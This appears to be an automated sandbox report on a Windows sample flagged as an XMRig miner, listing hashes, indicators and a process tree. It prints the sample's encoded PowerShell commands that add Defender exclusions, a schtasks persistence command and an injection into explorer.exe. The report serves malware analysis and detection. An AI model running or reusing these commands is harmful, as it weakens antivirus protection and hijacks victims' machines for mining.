Analysis
- max time kernel
153s - max time network
155s - platform
windows7_x64 - resource
win7-en-20211208 - submitted
07/01/2022, 12:29
Static task
static1
Behavioral task
behavioral1
Sample
23516a667e98f72e36a12240cb0f0de5.exe
Resource
win7-en-20211208
0 signatures
0 seconds
General
- Target 23516a667e98f72e36a12240cb0f0de5.exe
- Size 4.2MB
- Sample220107-pnw4jacfeq
- SHA256 21054e559ffbfd37f07ce33085fb9c4ed8e9583f66aaee1f68b51ea01ab2e757
- MD5 23516a667e98f72e36a12240cb0f0de5
- SHA1 700303e7922c3b62a0edfe4824646b13fd8eff05
- SHA512 a1452c8de732b39bce22faf0b1129fa63544a64316be9523a80ea24dd8e7313153d1e24473cb1419261b7eaef722ced6cef9b3479fb1041fc32750cfe28dc7b3
- MD5 SHA1 SHA512
Malware Config
Signatures
- XMRig Miner Payload 12 IoCs
resource yara_rule behavioral1/memory/676-113-0x0000000140000000-0x0000000140787000-memory.dmp xmrig behavioral1/memory/676-114-0x0000000140000000-0x0000000140787000-memory.dmp xmrig behavioral1/memory/676-115-0x0000000140000000-0x0000000140787000-memory.dmp xmrig behavioral1/memory/676-116-0x0000000140000000-0x0000000140787000-memory.dmp xmrig behavioral1/memory/676-118-0x0000000140000000-0x0000000140787000-memory.dmp xmrig behavioral1/memory/676-119-0x0000000140000000-0x0000000140787000-memory.dmp xmrig behavioral1/memory/676-120-0x0000000140000000-0x0000000140787000-memory.dmp xmrig behavioral1/memory/676-121-0x0000000140000000-0x0000000140787000-memory.dmp xmrig behavioral1/memory/676-122-0x0000000140000000-0x0000000140787000-memory.dmp xmrig behavioral1/memory/676-123-0x0000000140000000-0x0000000140787000-memory.dmp xmrig behavioral1/memory/676-124-0x0000000140310068-mapping.dmp xmrig behavioral1/memory/676-126-0x0000000140000000-0x0000000140787000-memory.dmp xmrig - Executes dropped EXE 2 IoCs
pid Process 1712 services.exe 860 sihost64.exe - Loads dropped DLL 2 IoCs
pid Process 1236 cmd.exe 1712 services.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs
- Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1712 set thread context of 676 1712 services.exe 43 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1832 schtasks.exe - Suspicious behavior: EnumeratesProcesses 47 IoCs
pid Process 588 powershell.exe 1628 powershell.exe 1220 23516a667e98f72e36a12240cb0f0de5.exe 1720 powershell.exe 1772 powershell.exe 1712 services.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe 676 explorer.exe - Suspicious behavior: LoadsDriver 1 IoCs
pid Process 464 Process not Found - Suspicious use of AdjustPrivilegeToken 8 IoCs
description pid Process Token: SeDebugPrivilege 588 powershell.exe Token: SeDebugPrivilege 1628 powershell.exe Token: SeDebugPrivilege 1220 23516a667e98f72e36a12240cb0f0de5.exe Token: SeDebugPrivilege 1720 powershell.exe Token: SeDebugPrivilege 1772 powershell.exe Token: SeDebugPrivilege 1712 services.exe Token: SeLockMemoryPrivilege 676 explorer.exe Token: SeLockMemoryPrivilege 676 explorer.exe - Suspicious use of WriteProcessMemory 49 IoCs
description pid Process procid_target PID 1220 wrote to memory of 976 1220 23516a667e98f72e36a12240cb0f0de5.exe 27 PID 1220 wrote to memory of 976 1220 23516a667e98f72e36a12240cb0f0de5.exe 27 PID 1220 wrote to memory of 976 1220 23516a667e98f72e36a12240cb0f0de5.exe 27 PID 976 wrote to memory of 588 976 cmd.exe 29 PID 976 wrote to memory of 588 976 cmd.exe 29 PID 976 wrote to memory of 588 976 cmd.exe 29 PID 976 wrote to memory of 1628 976 cmd.exe 30 PID 976 wrote to memory of 1628 976 cmd.exe 30 PID 976 wrote to memory of 1628 976 cmd.exe 30 PID 1220 wrote to memory of 1060 1220 23516a667e98f72e36a12240cb0f0de5.exe 32 PID 1220 wrote to memory of 1060 1220 23516a667e98f72e36a12240cb0f0de5.exe 32 PID 1220 wrote to memory of 1060 1220 23516a667e98f72e36a12240cb0f0de5.exe 32 PID 1060 wrote to memory of 1832 1060 cmd.exe 34 PID 1060 wrote to memory of 1832 1060 cmd.exe 34 PID 1060 wrote to memory of 1832 1060 cmd.exe 34 PID 1220 wrote to memory of 1236 1220 23516a667e98f72e36a12240cb0f0de5.exe 35 PID 1220 wrote to memory of 1236 1220 23516a667e98f72e36a12240cb0f0de5.exe 35 PID 1220 wrote to memory of 1236 1220 23516a667e98f72e36a12240cb0f0de5.exe 35 PID 1236 wrote to memory of 1712 1236 cmd.exe 37 PID 1236 wrote to memory of 1712 1236 cmd.exe 37 PID 1236 wrote to memory of 1712 1236 cmd.exe 37 PID 1712 wrote to memory of 1840 1712 services.exe 38 PID 1712 wrote to memory of 1840 1712 services.exe 38 PID 1712 wrote to memory of 1840 1712 services.exe 38 PID 1840 wrote to memory of 1720 1840 cmd.exe 40 PID 1840 wrote to memory of 1720 1840 cmd.exe 40 PID 1840 wrote to memory of 1720 1840 cmd.exe 40 PID 1840 wrote to memory of 1772 1840 cmd.exe 41 PID 1840 wrote to memory of 1772 1840 cmd.exe 41 PID 1840 wrote to memory of 1772 1840 cmd.exe 41 PID 1712 wrote to memory of 860 1712 services.exe 42 PID 1712 wrote to memory of 860 1712 services.exe 42 PID 1712 wrote to memory of 860 1712 services.exe 42 PID 1712 wrote to memory of 676 1712 services.exe 43 PID 1712 wrote to memory of 676 1712 services.exe 43 PID 1712 wrote to memory of 676 1712 services.exe 43 PID 1712 wrote to memory of 676 1712 services.exe 43 PID 1712 wrote to memory of 676 1712 services.exe 43 PID 1712 wrote to memory of 676 1712 services.exe 43 PID 1712 wrote to memory of 676 1712 services.exe 43 PID 1712 wrote to memory of 676 1712 services.exe 43 PID 1712 wrote to memory of 676 1712 services.exe 43 PID 1712 wrote to memory of 676 1712 services.exe 43 PID 1712 wrote to memory of 676 1712 services.exe 43 PID 1712 wrote to memory of 676 1712 services.exe 43 PID 1712 wrote to memory of 676 1712 services.exe 43 PID 1712 wrote to memory of 676 1712 services.exe 43 PID 1712 wrote to memory of 676 1712 services.exe 43 PID 1712 wrote to memory of 676 1712 services.exe 43
Processes
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C:\Users\Admin\AppData\Local\Temp\23516a667e98f72e36a12240cb0f0de5.exe"C:\Users\Admin\AppData\Local\Temp\23516a667e98f72e36a12240cb0f0de5.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1220 -
C:\Windows\system32\cmd.exe"cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit2⤵
- Suspicious use of WriteProcessMemory
PID:976 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:588
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1628
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C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1060 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"3⤵
- Creates scheduled task(s)
PID:1832
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C:\Windows\system32\cmd.exe"cmd" cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1236 -
C:\Users\Admin\AppData\Roaming\Microsoft\services.exeC:\Users\Admin\AppData\Roaming\Microsoft\services.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1712 -
C:\Windows\system32\cmd.exe"cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit4⤵
- Suspicious use of WriteProcessMemory
PID:1840 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"5⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1720
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="5⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1772
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C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe"4⤵
- Executes dropped EXE
PID:860
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C:\Windows\explorer.exeC:\Windows\explorer.exe ytovbgrvfjj0 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4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:676
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